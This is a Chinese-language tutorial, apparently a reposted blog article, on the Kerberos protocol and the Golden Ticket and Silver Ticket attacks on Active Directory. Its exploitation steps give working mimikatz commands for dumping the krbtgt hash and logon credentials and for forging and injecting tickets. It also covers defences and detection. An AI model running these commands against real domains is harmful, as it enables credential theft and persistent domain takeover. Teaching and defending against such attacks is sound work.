黃金票據和白金票據

前言

某老哥的一次面試里問到了這個問題，故來做一番了解

該攻擊方式在BlackHat 2014被提出，演講者為Alva Duckwall & Benjamin Delpy（@gentilkiwi)進行了演示，該演講提出了Kerberos協議實現過程中的設計邏輯缺陷，也就是說Windows所有使用Kerberos的場景中都可以進行此類攻擊

一、Kerberos協議

首先了解下Kerberos協議，windows域認證常用協議，也是黃金票據和白銀票據的攻擊場景

大致流程如下：

參與的角色有：

• Client: Application Client 應用客戶端
• AS: Authentication Server 用來認證用戶身份
• TGS: Ticket-Granting Service 用來授權服務訪問
• SS: Service Server 用戶所請求的服務

簡單講，整個過程如下：

Client向KDC發起AS_REQ請求內容為通過Client密碼Hash 加密的時間戳、ClientID、網絡地址、加密類型等內容

KDC使用Client hash進行解密，并在ntds.dit(只有域控中才有的數據庫)中查找該賬戶，如果結果正確就返回用krbtgt NTLM-hash加密的TGT票據，TGT里面包含PAC（Privilege Attribute Certificate，不同的賬號有不同的權限，PAC就是為了區別不同權限的一種方式），PAC包含Client的sid，Client所在的組

Client(客戶端)憑借TGT票據向KDC發起針對特定服務的TGS_REQ請求

KDC使用krbtgt NTLM-hash進行解密，如果結果正確，就返回用服務NTLM-hash 加密的TGS票據，并帶上PAC返回給Client(客戶端)，這一步不管用戶有沒有訪問服務的權限，只要TGT（認證票據）正確，就返回TGS票據

此時client拿著KDC給的TGS票據去請求服務

服務端使用自己的NTLM-hash解密TGS票據。如果解密正確，就拿著PAC去KDC那邊問Client有沒有訪問權限，域控解密PAC。獲取Client的sid，以及所在的組，再根據該服務的ACL，判斷Client是否有訪問服務的權限。

打個比方，整個過程就是：你想坐飛機，但是機場告訴你必須有機票（TGT）才可以登機，接著你去購票處（AS）出示身份證（Client name）購買了一張機票（TGT），你拿著機票登機，在檢票處（TGS）出示機票，服務人員告訴了你的座位號（Ticket），然后就可以坐到自己的位置上。

下面比較詳細的講下各個步驟。

1、用戶登錄

• 用戶登錄階段，通常由用戶輸入[用戶名]和[密碼]信息
• 在客戶端側，用戶輸入的[密碼]信息被通過一個單向Hash函數生成一個[Client密鑰]

2、請求身份認證

（1）客戶端向AS發送認證請求

• 客戶端為執行登錄操作的用戶向AS發送認證請求
• 請求中帶有[用戶名]信息，用戶名以明文形式發送到客戶端。

注意：Client往AS發送認證請求時并未發送[密碼]或[密鑰]信息

（2）AS確認Client端登錄者用戶身份

• AS收到用戶認證請求之后，根據請求中的[用戶名]信息，從數據庫中查找該用戶名是否存在。
• 如果[用戶名]存在，則對應的[密碼]也可以從數據庫中獲取到。AS利用相同的單向Hash函數為[密碼]生成一個秘鑰，如果第1步中用戶提供的[密碼]信息正確，該秘鑰與用戶登錄章節中的[Client密鑰]相同。
• AS為Client響應如下消息：
  • Msg A 使用[Client密鑰]加密的[Client/TGS SessionKey]
  • Msg B 使用[TGS密鑰]加密的TGT(Ticket-Granting-Ticket)，因此該消息Client不可解析。
    TGT中包含如下信息：

[Client/TGS SessionKey] Client ID Ticket有效時間 Client網絡地址

• 1
• 2
• 3
• 4

Client收到AS的響應消息以后，利用自身的[Client密鑰]可以對Msg A進行解密，這樣可以獲取到[Client/TGS SessionKey]。但由于Msg B是使用[TGS密鑰]加密的，Client無法對其解密

注意：

• AS響應的消息中有一條是屬于Client的，但另外一條卻屬于TGS
• Client/TGS SessionKey出現了兩個Copy，一個給Client端，一個給TGS端
• 本文中提及的加密，如無特殊說明，均采用的是對稱加密算法

3、請求服務授權

（1）客戶端向TGS發送請求服務授權請求

客戶端發送的請求中包含如下兩個消息：

• Msg C：要請求的服務ID, 即[Service ID]；上一步2.2中由AS為Client提供的TGT。
• Msg D：使用[Client/TGS SessionKey]加密的Authenticator 1 {Client ID, Timestamp}。

（2） TGS為Client響應服務授權票據

TGS為Client響應的消息包括：

• Msg E 使用[Service密鑰]加密的Client-To-Server Ticket, 該Ticket中包含了如下信息:

[Client/Server SessionKey] Client網絡地址 Ticket有效時間 Client ID

• 1
• 2
• 3
• 4

• Msg F 使用[Client/TGS SessionKey]加密的[Client/Server SessionKey]。

注意：

• Msg F使用了[Client/TGS SessionKey]加密，因此，該消息對Client可見。Client對其解密以后可獲取到[Client/Server SessionKey]。
• Msg E使用了[Service密鑰]加密，該消息可視作是TGS給Service Server的消息，只不過由Client一起攜帶。

4、發送服務請求

（1）Client向SS(Service Server)發送服務請求

發送的消息中包括：

• Msg E 上一步3.2中，TGS為Client響應的消息Msg E。該消息可以理解為由Client為SS攜帶的消息。
• Msg G 由[Client/Server SessionKey]加密的Authenticator 2，包含{Client ID, Timestamp}信息。這里的Authenticator 2區別于前面3.1步驟中的Authenticator 1。

注意：

• [Client/Server SessionKey]并未直接透明傳輸，而是被包含在使用[Service密鑰]加密的Msg E中。
• 既然[Client/Server SessionKey]并不直接透明傳輸， Client需要向SS證明自己擁有正確的[Client/Server SessionKey]，所以，Authenticator 2使用了[Client/Server SessionKey]加密。

（2） SS響應Client

• SS收到客戶端的服務請求之后，先利用自身的[Service密鑰]對Msg E進行解密，提取出Client-To-Server Ticket, 在3.2步驟中，提到了該Ticket中包含了[Client/Server SessionKey]以及Client ID信息。
• SS使用[Client/Server SessionKey]解密Msg G，提取Client ID信息，而后將該Client ID與Client-To-Server Ticket中的Client ID進行比對，如果匹配則說明Client擁有正確的[Client/Server SessionKey]。
• 而后，SS向Client響應Msg H(包含使用[Client/Server SessionKey]加密的Timestamp信息)。
• Client收到SS的響應消息Msg H之后，再使用[Client/Server SessionKey]對其解密，提取Timestamp信息，然后確認該信息與Client發送的Authenticator 2中的Timestamp信息一致。

如上信息可以看出來，該交互過程起到了Client與SS之間的“雙向認證”作用。

5、小結

三個過程大致的描述：

• Client 上的用戶請求KDC上的AS服務TGT
• Client 使用TGT請求KDC上的TGS得到ST（TGS ticket）
• Client使用ST（TGS Ticket）訪問Server

三個過程中涉及到的加密：

• Client的用戶請求AS使用的是用戶對應的哈希加密
• AS向Client返回兩段內容，第一段內容是對應用戶加密的(Ticket-Granting-Ticket，TGT) ，第二段內容是TGS 密鑰加密的TGT(Ticket-Granting-Ticket)
• Client向TGS發送兩段內容，第一段內容為主體為TGT，第二段內容為(Ticket-Granting-Ticket)加密的Authenticator 1 {Client ID, Timestamp}。
• TGS返回Client兩段內容，第一段內容為[Service密鑰]加密的Client-To-Server Ticket，使用[Client/TGS SessionKey]加密的[Client/Server SessionKey]。
• Client向Service server 發送兩段內容，第一段內容為Client-To-Server Ticket（未解密），由[Client/Server SessionKey]加密的Authenticator 2
• 如果正確，Service Server返回[Client/Server SessionKey]加密的Timestamp信息)

整個過程中的Ticket-Granting-Ticket和Client-To-Server Ticket就是我們所說的黃金票據（Golden Ticket）和白銀票據（Silver Ticket）

上面所說的TGS 密鑰來源于AD上的一個特殊賬戶，該賬戶是KDC 的服務賬戶，系統自動分配密碼，該賬戶會在 AD 安裝時自動創建krbtgt，該賬戶默認禁用，不能用于交互式登錄到域，也無法重命名

二、黃金票據（Golden Ticket）

1、原理

黃金票據就是偽造krbtgt用戶的TGT票據，krbtgt用戶是域控中用來管理發放票據的用戶，擁有了該用戶的權限，就可以偽造系統中的任意用戶

利用前提：

• 拿到域控(沒錯就是拿到域控QAQ),適合做權限維持
• 有krbtgt用戶的hash值(aeshash ntlmhash等都可以,后面指定一下算法就行了)

條件要求：

• 域名
• 域的SID 值
• 域的KRBTGT賬戶NTLM密碼哈希
• 偽造用戶名

2、利用

（1）獲取信息

1、獲取域名

whoami net time /domain ipconfig /all

• 1
• 2
• 3

2、獲取SID

whoami /all

• 1

3、獲取域的KRBTGT賬戶NTLM密碼哈希或者aes-256值

用mimikatz

lsadump::dcsync /domain:zz.com /user:krbtgt /csv

• 1

4、偽造管理員用戶名

net group "domain admins"

• 1

（2）偽造TGT

1、清除所有票據

klist purge

• 1

2、使用mimikatz偽造指定用戶的票據并注入到內存

kerberos::golden /admin:administrator /domain:zz.com /sid:S-1-5-21-1373374443-4003574425-2823219550 /krbtgt:9f3af6256e86408cb31169871fb36e60 /ptt

• 1

3、防御

防御措施如下：

• 限制域管理員登錄到除域控制器和少數管理服務器以外的任何其他計算機（不要讓其他管理員登錄到這些服務器）將所有其他權限委派給自定義管理員組。這大大降低了攻擊者訪問域控制器的Active Directory的ntds.dit。如果攻擊者無法訪問AD數據庫（ntds.dit文件），則無法獲取到KRBTGT帳戶密碼
• 禁用KRBTGT帳戶，并保存當前的密碼以及以前的密碼。KRBTGT密碼哈希用于在Kerberos票據上簽署PAC并對TGT（身份驗證票據）進行加密。如果使用不同的密鑰（密碼）對證書進行簽名和加密，則DC（KDC）通過檢查KRBTGT以前的密碼來驗證
• 建議定期更改KRBTGT密碼（畢竟這是一個管理員帳戶）。更改一次，然后讓AD備份，并在12到24小時后再次更改它。這個過程應該對系統環境沒有影響。這個過程應該是確保KRBTGT密碼每年至少更改一次的標準方法
• 一旦攻擊者獲得了KRBTGT帳號密碼哈希的訪問權限，就可以隨意創建黃金票據。通過快速更改KRBTGT密碼兩次，使任何現有的黃金票據（以及所有活動的Kerberos票據）失效。這將使所有Kerberos票據無效，并消除攻擊者使用其KRBTGT創建有效金票的能力

三、白銀票據（Silver Ticket）

1、原理

黃金票據是偽造TGT（門票發放票），而白銀票據則是偽造ST（門票），這樣的好處是門票不會經過KDC，從而更加隱蔽，但是偽造的門票只對部分服務起作用,如cifs（文件共享服務），mssql，winrm（windows遠程管理），DNS等等

利用前提：

• 拿到目標機器hash(是目標機,不一定是域控)

條件要求：

• 域名
• 域sid
• 目標服務器FQDN
• 可利用的服務
• 服務賬號的NTML HASH
• 需要偽造的用戶名

服務列表

2、利用

（1）信息收集

1、獲取域名

whoami net time /domain ipconfig /all

• 1
• 2
• 3

2、獲取SID

whoami /all

• 1

3、目標機器的FQDN

net time /domain 就是hostname+域名 /target:\\WIN-75NA0949GFB.NOONE.com

• 1
• 2

4、可利用的服務CIFS(磁盤共享的服務)

/service:CIFS

• 1

5、要偽造的用戶名

/user:Administrator

• 1

6、服務賬號的ntlm hash(Primary Username : WIN-75NA0949GFB$帶$的hash，不是admin的)

/rc4:08d93ddf15a6309a46daaa7ec8565296 #生成了mimikatz.log文件(域控主機執行)

• 1
• 2

7、利用文件共享服務cifs，獲取服務賬號得NTMLhash值(在14068基礎上使用mimikatz獲取)

注意：服務賬號就是域控名$

mimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> 2.txt

• 1

（2）偽造ST

1、清除所有票據

klist purge

• 1

2、使用mimikatz偽造指定用戶的票據并注入到內存

kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:cifs /rc4:服務賬號NTMLHASH /user:用戶名 /ptt

• 1

結語

簡單了解黃金票據和白銀票據：

• 黃金票據：是直接抓取域控中ktbtgt賬號的hash，來在client端生成一個TGT票據，那么該票據是針對所有機器的所有服務。
• 白銀票據：實際就是在抓取到了域控服務hash的情況下，在client端以一個普通域用戶的身份生成TGS票據，并且是針對于某個機器上的某個服務的，生成的白銀票據,只能訪問指定的target機器中指定的服務。

檢測的話可以參考：Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory

• Golden Ticket 和Silver Ticket都會在日志，不同的是，Golden Ticket會在域控中留下日志，Silver Ticket 僅在目標系統留下日志，因為Silver Ticket 不與KDC產生交互
• 產生的日志中，應該關注事件ID 4624（賬戶登錄）、4634（賬戶注銷)、4672（管理員登錄)，并且域字段應該為Domain 時為空

參考：

• 圖解Kerberos協議原理
• AD Forest Recovery - Resetting the krbtgt password
• Golden Ticket
• Kerberos的黃金票據詳解
• 域滲透之（黃金票據利用）
• 域滲透之（白銀票據利用）
• 黃金票據和白銀票據
• How Attackers Use Kerberos Silver Tickets to Exploit Systems
• Kerberos的白銀票據詳解

總結

以上是生活随笔為你收集整理的域权限维持—黄金票据和白金票据的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。